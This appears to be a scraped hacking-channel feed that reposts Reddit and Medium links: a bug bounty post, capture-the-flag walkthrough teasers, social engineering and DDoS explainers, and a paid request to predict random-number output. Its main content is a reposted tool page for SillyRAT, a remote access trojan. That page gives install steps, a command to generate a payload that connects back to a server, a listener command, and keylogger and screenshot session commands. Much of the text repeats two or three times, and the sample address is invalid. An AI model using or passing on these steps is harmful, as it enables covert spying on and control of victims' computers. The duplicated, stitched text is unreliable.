My 5th Valid Vulnerability For The US Federal Government
https://www.reddit.com/r/redteamsec/comments/qyi65c/my_5th_valid_vulnerability_for_the_us_federal/
submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://byrslf.co/my-5th-valid-vulnerability-for-the-us-federal-government-8a89a58ae824) [comments] (https://www.reddit.com/r/redteamsec/comments/qyi65c/my_5th_valid_vulnerability_for_the_us_federal/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/qyi65c/my_5th_valid_vulnerability_for_the_us_federal/
submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://byrslf.co/my-5th-valid-vulnerability-for-the-us-federal-government-8a89a58ae824) [comments] (https://www.reddit.com/r/redteamsec/comments/qyi65c/my_5th_valid_vulnerability_for_the_us_federal/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
My 5th Valid Vulnerability For The US Federal Government
Posted in r/redteamsec by u/banginpadr • 3 points and 0 comments
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hack The Box —BountyHunter Writeup
https://cdn-images-1.medium.com/max/1188/1*L61rZ-lg_BmsQLyOBWUt2g.png
For those who are experienced with Python 3 scripting and XXE Injection, or at least willing to learn this stuff, this is a proper machine…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Hack The Box —BountyHunter Writeup
https://cdn-images-1.medium.com/max/1188/1*L61rZ-lg_BmsQLyOBWUt2g.png
For those who are experienced with Python 3 scripting and XXE Injection, or at least willing to learn this stuff, this is a proper machine…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Hack The Box —BountyHunter Writeup
For those who are experienced with Python 3 scripting and XXE Injection, or at least willing to learn this stuff, this is a proper machine…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Types of Social Engineering Attacks
https://cdn-images-1.medium.com/max/1212/1*5WVRmqfBVf54fmSpwBnccg.png
Most cybercriminals are master manipulators, but that doesn’t mean they’re all manipulators of technology — some cybercriminals favor the…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Types of Social Engineering Attacks
https://cdn-images-1.medium.com/max/1212/1*5WVRmqfBVf54fmSpwBnccg.png
Most cybercriminals are master manipulators, but that doesn’t mean they’re all manipulators of technology — some cybercriminals favor the…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Types of Social Engineering Attacks
Most cybercriminals are master manipulators, but that doesn’t mean they’re all manipulators of technology — some cybercriminals favor the…
Help Needed with Some Number prediction (PrNg) Algorithm Unknown – 1,000$/2,000$ Bounty for Correct answer
https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/
Some mates and I are competing to solve an ARG and are preparing for a series of puzzle challenges that will be issued over the next week. One of which is going to be predicting the output of a PrnG (Psuedo-Random Number Generator) I’m definitely going to be the odd one out when it comes to this specific challenge as Math is my weak point, and the math required to figure this out is somewhat above my abilities. I’ve been told this is a well-studied topic for those with Pen-testing and Mathematical (Frequency Analysis) backgrounds. For those familiar with the following PrNg Algorithms: -Python/Java(s) random number script - Mersenne Twister - Xoroshiro 128+ - PHP MT_Variant - Ruby MT_Variant -- And/Or General PrNg Prediction If you’re willing to help, I will provide over 200-something outputs and the challenge is to provide me with the next number in the set. I will give 1,000$ (usd $) to the individual who provides the correct answer and another 1,000$ if you can explain how you derived said answer. PM me if you wish to try and I will provide a spreadsheet with the test set. submitted by /u/Apaleshade (https://www.reddit.com/user/Apaleshade)
[link] (https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/) [comments] (https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/
Some mates and I are competing to solve an ARG and are preparing for a series of puzzle challenges that will be issued over the next week. One of which is going to be predicting the output of a PrnG (Psuedo-Random Number Generator) I’m definitely going to be the odd one out when it comes to this specific challenge as Math is my weak point, and the math required to figure this out is somewhat above my abilities. I’ve been told this is a well-studied topic for those with Pen-testing and Mathematical (Frequency Analysis) backgrounds. For those familiar with the following PrNg Algorithms: -Python/Java(s) random number script - Mersenne Twister - Xoroshiro 128+ - PHP MT_Variant - Ruby MT_Variant -- And/Or General PrNg Prediction If you’re willing to help, I will provide over 200-something outputs and the challenge is to provide me with the next number in the set. I will give 1,000$ (usd $) to the individual who provides the correct answer and another 1,000$ if you can explain how you derived said answer. PM me if you wish to try and I will provide a spreadsheet with the test set. submitted by /u/Apaleshade (https://www.reddit.com/user/Apaleshade)
[link] (https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/) [comments] (https://www.reddit.com/r/Pentesting/comments/qymlk6/help_needed_with_some_number_prediction_prng/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
Help Needed with Some Number prediction (PrNg) Algorithm Unknown –...
/r/PenTesting: Penetration Testing and Security Discussion.
Hacking Articles Tips Tricks Videos Tutorials
Photo
SillyRAT - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT
http://www.kitploit.com/2021/11/sillyrat-cross-platform-multifunctional.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2021/11/sillyrat-cross-platform-multifunctional.html
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.
A Cross Platform (https://www.kitploit.com/search/label/Cross%20Platform) multifunctional (Windows/Linux/Mac) RAT.
Getting Started
Description
A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload (https://www.kitploit.com/search/label/Payload) code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.
Features
Built-in Shell for command executionDumping System Information including drives and ramsScreenshot module. Captures screenshot (https://www.kitploit.com/search/label/Screenshot) of client (https://www.kitploit.com/search/label/Client) screen.Connection Loop (Will continue on connecting to server)Currently, it uses BASE64 encoding. Pure PythonCross Platform. (Tested on Linux. Errors are accepted)Source File included for testingPython 3
To be expected in future
Stealth ExecutionEncryptionStoring Sessions from last attemptPushing Notifications when a client connects
Installation
The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Documentation
Generating Payload
You can get the payload file in two ways:Source FileCompiled FileThe source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer
___________________________
@hacking_Attack
@Hacking_Video
Getting Started
Description
A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload (https://www.kitploit.com/search/label/Payload) code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.
Features
Built-in Shell for command executionDumping System Information including drives and ramsScreenshot module. Captures screenshot (https://www.kitploit.com/search/label/Screenshot) of client (https://www.kitploit.com/search/label/Client) screen.Connection Loop (Will continue on connecting to server)Currently, it uses BASE64 encoding. Pure PythonCross Platform. (Tested on Linux. Errors are accepted)Source File included for testingPython 3
To be expected in future
Stealth ExecutionEncryptionStoring Sessions from last attemptPushing Notifications when a client connects
Installation
The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Documentation
Generating Payload
You can get the payload file in two ways:Source FileCompiled FileThe source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
Replace your IP Address and Port on above commands.
Running Server
The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Connections
All the connections will be listed under sessions command:$ sessions
___________________________
@hacking_Attack
@Hacking_Video
Running Server
The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Connections
All the connections will be listed under sessions command:$ sessions
___________________________
@hacking_Attack
@Hacking_Video
You can connect to you target session with connect command and launch one of available commands:keylogger on $ keylogger dump $ screenshot ">$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
___________________________
@hacking_Attack
@Hacking_Video
$ keylogger on
$ keylogger dump
$ screenshot
___________________________
@hacking_Attack
@Hacking_Video
Help
Get a list of available commands:$ help
Help on a Specific Command:$ help COMMAND
Support
Twitter: @hash3liZer (https://twitter.com/hash3liZer)
Discord: TheFlash2k#0407
Download SillyRAT (https://github.com/hash3liZer/SillyRAT)
___________________________
@hacking_Attack
@Hacking_Video
Get a list of available commands:$ help
Help on a Specific Command:$ help COMMAND
Support
Twitter: @hash3liZer (https://twitter.com/hash3liZer)
Discord: TheFlash2k#0407
Download SillyRAT (https://github.com/hash3liZer/SillyRAT)
___________________________
@hacking_Attack
@Hacking_Video
Twitter
Shameer Kashif 🇵🇰 (@hash3liZer) | Twitter
The latest Tweets from Shameer Kashif 🇵🇰 (@hash3liZer). Freelancer 👀 | Part Time Trader 📈 | Python 🐍 | Javascript | Bug Bounty | CTF Player. Pakistan
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
What Exactly is A DDos Attack? And How Does it Work?
https://cdn-images-1.medium.com/max/1024/1*KorqCJYmaK5JEdCcTRFB3Q.jpeg
What is a DDOS Attack?
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
What Exactly is A DDos Attack? And How Does it Work?
https://cdn-images-1.medium.com/max/1024/1*KorqCJYmaK5JEdCcTRFB3Q.jpeg
What is a DDOS Attack?
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
What Exactly is A DDos Attack? And How Does it Work?
What is a DDOS Attack?
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Offensive Security: Insanity Hosting Walkthrough
https://cdn-images-1.medium.com/max/788/1*iGeNeZF4UuIDgQIYsjPs9w.png
This is a walkthrough of Insanity Hosting from the offensive security playground. Let us see how we can compromise this machine.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Offensive Security: Insanity Hosting Walkthrough
https://cdn-images-1.medium.com/max/788/1*iGeNeZF4UuIDgQIYsjPs9w.png
This is a walkthrough of Insanity Hosting from the offensive security playground. Let us see how we can compromise this machine.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Offensive Security: Insanity Hosting Walkthrough
This is a walkthrough of Insanity Hosting from the offensive security playground. Let us see how we can compromise this machine.